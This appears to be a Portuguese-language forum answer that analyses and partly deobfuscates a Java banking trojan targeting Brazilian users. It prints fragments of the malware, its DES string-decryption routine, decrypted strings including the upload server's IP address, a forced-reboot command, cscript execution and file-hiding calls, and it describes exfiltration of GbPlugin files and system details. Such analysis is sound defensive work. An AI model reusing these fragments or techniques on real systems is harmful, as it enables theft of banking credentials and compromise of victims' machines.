TENHA CUIDADO AO EXECUTAR ESSE CÓDIGO
ESSE PROGRAMA É UM VÍRUS
O que ele faz:
Detecta o Locale
e se recusa a fazer qualquer coisa se ele não detectar que o sistema operacional esteja configurado como sendo no Brasil e em língua portuguesa ou se a máquina já tiver sido infectada (o que ele detecta ao procurar o arquivo APPDATA/Sun/Java/Deployment/Sun.jar
).
Cria e executa scripts em vbscript que rodam na inicialização do sistema (pasta "startup"
). Após concluída a instalação, um desses scripts será executado sempre que o usuário pressionar Ctrl+Alt+F.
Faz upload de arquivos GPC para o IP 191.252.3.83. Esses arquivos são referentes ao módulo GbPlugin, de segurança do Banco do Brasil e também usado por outros bancos. Ele também envia informações sobre o seu sistema operacional, o serial do seu disco rígido e o seu IP para esse mesmo destino malicioso. Ele primeiramente converte os dados para uma string de caracteres hexadecimais escritos de trás para frente, para dificultar a detecção.
Faz o download de arquivos, os compacta (usando o algoritmo GZIP), os coloca em pastas ocultas com nomes aleatórios dentro da pasta "APPDATA"
e os executa. Ele utiliza para esses arquivos as extensões ".mp3", ".jar", ".bat", ".wmv", ".xml" e ".pdf".
Reinicia a máquina forçosamente, garantindo que o seu sistema fique comprometido.
Esse código está ofuscado. O comentário do começo deixa claro que ele foi descompilado. O processo de ofuscação bagunçou com todos os nomes de variáveis, tornando-os em coisas sem sentido. Além disso, valores de Strings e constantes estão criptografados.
Para desentrelaçar esse emaranhado e descobrir o que o código faz, o primeiro passo é renomear as variáveis.
Por exemplo:
public static boolean GDDSSZZXXVVNNaabcceegghhjUOPPKKJJ(String pprrsuuxxzzwQQEETTYIIOOLLJJHHFFDDAAXCCCBBNaacddffgiggijjmmo) {
File ddffhhiillmmooqqXCBBaaac = new File(pprrsuuxxzzwQQEETTYIIOOLLJJHHFFDDAAXCCCBBNaacddffgiggijjmmo);
boolean wwWWEtttuxxyy = ddffhhiillmmooqqXCBBaaac.exists();
return wwWWEtttuxxyy;
}
Eis o resultado:
public static boolean GDDSSZZXXVVNNaabcceegghhjUOPPKKJJ(String caminhoDoArquivo) {
File arquivo = new File(caminhoDoArquivo);
boolean existe = arquivo.exists();
return existe;
}
Com isso fica claro o que esse método faz, e então podemos renomeá-lo e simplificá-lo:
public static boolean arquivoExiste(String caminhoDoArquivo) {
return new File(caminhoDoArquivo).exists();
}
E então você vai fazer isso com todos os métodos, um a um. Como se fosse um quebra-cabeças, aonde para resolver uma parte mais complicada você tem que primeiro resolver uma mais simples. E então, você começa com os métodos mais simples para depois fazer os mais complicados.
Há algumas partes que fazem a criptografia de outras partes do programa. Em especial esses três métodos são os mais importantes:
public static String uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(int Nu) {
byte[] ZCCBNNaabbddfggiijjHHFFDDAZ = new byte[]{47, 56, 67, 66, 67, 47, 80, 75, 67, 83, 53, 97, 100, 100, 105, 110, 103, 85, 84, 70, 45, 68, 69, 80, 83, 105, 106, 109, 110, 112, 112, 114, 115, 115, 117, 117, 118, 118, 122, 122, 119, 81, 81, 69, 69, 82, 82, 89, 89, 73, 73, 79, 79, 76, 75, 75, 72, 72};
return new String(ZCCBNNaabbddfggiijjHHFFDDAZ, Nu, 1);
}
private static byte[] WWEETTYIIIPuuxxzzww(String HHFFDDAAZZCCBBNNaYIOOLLKK) {
byte[] jjmmooprrssuuxxzzwwQQETTYYIIOOLLJHHFFFDDAAXCCBBNbddffggi = new byte[HHFFDDAAZZCCBBNNaYIOOLLKK.length() / 2];
int i = 0;
while (i < jjmmooprrssuuxxzzwwQQETTYYIIOOLLJHHFFFDDAAXCCBBNbddffggi.length) {
String iillmmoopprrttuuxxzwwWWEETTYYIIPPLaacddffg = HHFFDDAAZZCCBBNNaYIOOLLKK.substring(2 * i, 2 * i + 2);
int XXCCBBaaaccddfhhiillmmooqqrrttuuxxyywwJHHFSSAA = Integer.parseInt(iillmmoopprrttuuxxzwwWWEETTYYIIPPLaacddffg, 16);
jjmmooprrssuuxxzzwwQQETTYYIIOOLLJHHFFFDDAAXCCBBNbddffggi[i] = (byte)XXCCBBaaaccddfhhiillmmooqqrrttuuxxyywwJHHFSSAA;
++i;
}
return jjmmooprrssuuxxzzwwQQETTYYIIOOLLJHHFFFDDAAXCCBBNbddffggi;
}
public static String SAAXXCCBBaaaccddfLJJHHFFS(String PPLLJJGGFFSSSAAXVVVBaaaacEETTUUII) throws Exception {
byte[] lnnoqqrrttvvxxyywwWWReefhhiil = Vegimmnp.WWEETTYIIIPuuxxzzww(PPLLJJGGFFSSSAAXVVVBaaaacEETTUUII);
Cipher KJJGGFFSSSZZXXVVBBaabcceeffhjjllnnoTTUUIPPK = Cipher.getInstance(String.valueOf(Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(21)) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(22) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(24) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(0) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(2) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(3) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(4) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(5) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(6) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(7) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(8) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(9) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(10) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(23) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(11) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(12) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(13) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(14) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(15) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(16));
DESKeySpec xyyQQWWRRTTUUOOPPKKJJGGDSSZZXXXVNNaabccqqsttvvx = new DESKeySpec(ggillmmooprrtNNaccddf.getBytes(String.valueOf(Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(17)) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(18) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(19) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(20) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(1)));
SecretKeyFactory nnpqqssttvzzyyQQWWRRYYUOOPegghjjll = SecretKeyFactory.getInstance(String.valueOf(Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(21)) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(22) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(24));
SecretKey SZZCCVKKHGGDDS = nnpqqssttvzzyyQQWWRRYYUOOPegghjjll.generateSecret(xyyQQWWRRTTUUOOPPKKJJGGDSSZZXXXVNNaabccqqsttvvx);
IvParameterSpec egghjjmmnnppqqsuuvvzzyyQQEERRYUUOOLLKHNaabbdde = new IvParameterSpec(ggillmmooprrtNNaccddf.getBytes(String.valueOf(Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(17)) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(18) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(19) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(20) + Vegimmnp.uuxzzwwQQEETTYYIOOLLJJHHFFDDAAXXCBBNNaccdmopprrss(1)));
KJJGGFFSSSZZXXVVBBaabcceeffhjjllnnoTTUUIPPK.init(2, (Key)SZZCCVKKHGGDDS, egghjjmmnnppqqsuuvvzzyyQQEERRYUUOOLLKHNaabbdde);
byte[] CCVVNaabbdeeggiijjmnnpprrGGDDAAZZ = KJJGGFFSSSZZXXVVBBaabcceeffhjjllnnoTTUUIPPK.doFinal(lnnoqqrrttvvxxyywwWWReefhhiil);
return new String(CCVVNaabbdeeggiijjmnnpprrGGDDAAZZ);
}
O que exatamente isso faz? Isso é a parte responsável por desencriptar muitos dos segredos do programa, o que pode ser deduzido pelo uso de classes tais como SecretKey
, SecretKeyFactory
e Cipher
. Você pode usar o depurador (debugger) e alguns System.out.println
para entender que valores estão sendo manipulados por este método.
Além disso, o teste que fiz abaixo confirma que isso serve para desencriptar algumas coisas. Por exemplo, eu fiz o seguinte teste com algumas das strings encriptadas existentes no programa:
public static void main(String[] args) throws Exception {
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("48b7bda975cc41e6716484a94b74cccccb6be918ad95414abfb3ca29acc894409d7118cedf6c560389bb72ec45f47a9de1d535737acf4db7"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("c7ebe084d263c6a0"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("8e44e85efe2cce2652e7cb552572cd96ca54a4fb172beb92f4ca05e9f8312239"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("c9fdd6ece6b2278dfaad22350fb54187"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("0763ff114133fb7e"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("f97815b28e5a1bd5"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("8b3a37900826a2005e5a4557a7c48821"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("ae702fe2558f88239e0813851c07cb9b"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("5afe0cfeed4375da9a8a61e3c8f54b357a9db2aebaf3df97bb6502bbeca5e5aebf3d48cfdf69e005"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("4840f3430f6e49578c97693ce45fa1a28f5066451b7ed265"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("beeb93a7429eff3305c986801a0df210"));
System.out.println(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("75090231081454157b1d08e3c1f35afb8b4ead755bc7be5f"));
}
Eis o que ele mostra na saída:
Set WshShell = WScript.CreateObject("WScript.Shell")
8
/Sun/Java/Deployment/Sun.jar
191.252.3.83
APPDATA
http
/pdf/jjgf.pdf
dos:hidden
shutdown -r -t 30 -c Atualizando...
ProgramFiles(X86)
\\AppBrad\\
cscript //NoLogo
Assim sendo, você poderia substituir Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("c7ebe084d263c6a0")
por "8"
e Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("48b7bda975cc41e6716484a94b74cccccb6be918ad95414abfb3ca29acc894409d7118cedf6c560389bb72ec45f47a9de1d535737acf4db7")
por "Set WshShell = WScript.CreateObject(\"WScript.Shell\")"
e assim ir simplificando e desencriptando o código. No final, após desencriptar tudo, você provavelmente poderá jogar fora esses métodos de descriptografia.
Há um problema de compilação referente a uma linha com um String.this
. Não sei porque o descompilador errou aqui, mas eu coloquei apenas um null
no lugar para poder compilar. Quando você desofuscar várias das partes do programa, isso deve ficar mais claro e daí você conserta esse lugar.
EDIT: No caso, o que deveria estar no lugar do String.this
é o segundo parâmetro do método que envolve a classe anônima onde o String.this
foi colocado (ou seja, aabbceeghhjjllnnppqqsttvvzzyQQWWRYYUUOPPKKHHGSSZXXVVN
).
Tal como explanado acima, esse código é um vírus. Ele mexe com arquivos e com comandos em VBScript. Além disso, ele também produz URLs:
public static String vvzwwQEERRnpprrsuu() throws UnknownHostException {
String ZZCCBBNNaabKHHFFDDA = new String(InetAddress.getLocalHost().getHostName());
return ZZCCBBNNaabKHHFFDDA.toUpperCase();
}
E ele também conecta na internet:
HttpURLConnection ZCCVVNNabbddeegiijjmnnpprrsuuvvzwwQQERRYYIIOOLLJJHHGGDDAA = (HttpURLConnection)vzyyQQEERRYYUOOLLKjmnqsuuv.openConnection();
E também executa outros programas/instruções:
public static void WWEETYYIIPPLJJHHFFSSAAXXCCBaaaccdfttuuxzzw() throws Exception {
Runtime.getRuntime().exec(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("5afe0cfeed4375da9a8a61e3c8f54b357a9db2aebaf3df97bb6502bbeca5e5aebf3d48cfdf69e005"));
}
Isso é descriptografado em:
public static void WWEETYYIIPPLJJHHFFSSAAXXCCBaaaccdfttuuxzzw() throws Exception {
Runtime.getRuntime().exec("shutdown -r -t 30 -c Atualizando...");
}
Ou seja, força a reinicialização da máquina onde é executado.
E também:
Process ywwWRRTTUUIPrrttvxxy = Runtime.getRuntime().exec(String.valueOf(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("75090231081454157b1d08e3c1f35afb8b4ead755bc7be5f")) + ttuxxzwwWWEETTYIIPPLLJJHHFFSSAAXCCBBaaaaclmoopprr.getPath());
Isso daí é descriptografado como:
Process ywwWRRTTUUIPrrttvxxy = Runtime.getRuntime().exec(String.valueOf("cscript //NoLogo ")) + ttuxxzwwWWEETTYIIPPLLJJHHFFSSAAXCCBBaaaaclmoopprr.getPath());
Ou seja, inicia a execução de um outro programa.
Altera atributos de arquivos:
public static void jjllnooqsstbbcceffh(Path RRTTUUOOPvvxyyQWW) throws Exception {
Files.setAttribute(RRTTUUOOPvvxyyQWW, Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("ae702fe2558f88239e0813851c07cb9b"), true, new LinkOption[0]);
}
Isso é descriptografado em:
public static void jjllnooqsstbbcceffh(Path RRTTUUOOPvvxyyQWW) throws Exception {
Files.setAttribute(RRTTUUOOPvvxyyQWW, "dos:hidden", true, new LinkOption[0]);
}
Ou seja, ele esconde arquivos.
Ele também lê variáveis de ambiente:
jjllnooqqsstvvxxyyQWWRRTTUOOPPKKJGGDDSSZbbcceffh = String.valueOf(System.getenv(Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("4840f3430f6e49578c97693ce45fa1a28f5066451b7ed265"))) + Vegimmnp.SAAXXCCBBaaaccddfLJJHHFFS("beeb93a7429eff3305c986801a0df210");
Isso é descriptografado em:
jjllnooqqsstvvxxyyQWWRRTTUOOPPKKJGGDDSSZbbcceffh = String.valueOf(System.getenv("ProgramFiles(X86)")) + "\\AppBrad\\";
Depois de algumas horas de trabalho, finalmente terminei de desofuscá-lo e desencriptá-lo por completo, de forma que eu tenho uma versão legível do código dele. Entretanto, não vou postar porque trata-se de algo muito perigoso. Apenas afirmo que quem o fez é um completo babaca. O código também tem algumas más práticas de programação. Eis aqui algumas das coisas nefastas que ele faz:
- Cria diversos arquivos no sistema.
- Varre o sistema procurando por arquivos específicos do GbPlugin, que é o módulo de segurança do Banco do Brasil e os envia pela internet.
- Esconde arquivos e pastas.
- Conecta na internet para fazer upload e download.
- Baixa programas da internet e os executa.
- Cria e executa scripts em VBScript.
- Lê as variáveis de ambiente.
- Força a reinicialização da máquina.
- Lê o número serial do disco rígido e o envia pela internet, junto com o seu IP e detalhes do sistema operacional.
- Cria um script que é executado na inicialização do sistema por meio de um atalho.
Além disso, o autor disso claramente está fazendo um grande esforço para tentar esconder a finalidade do código.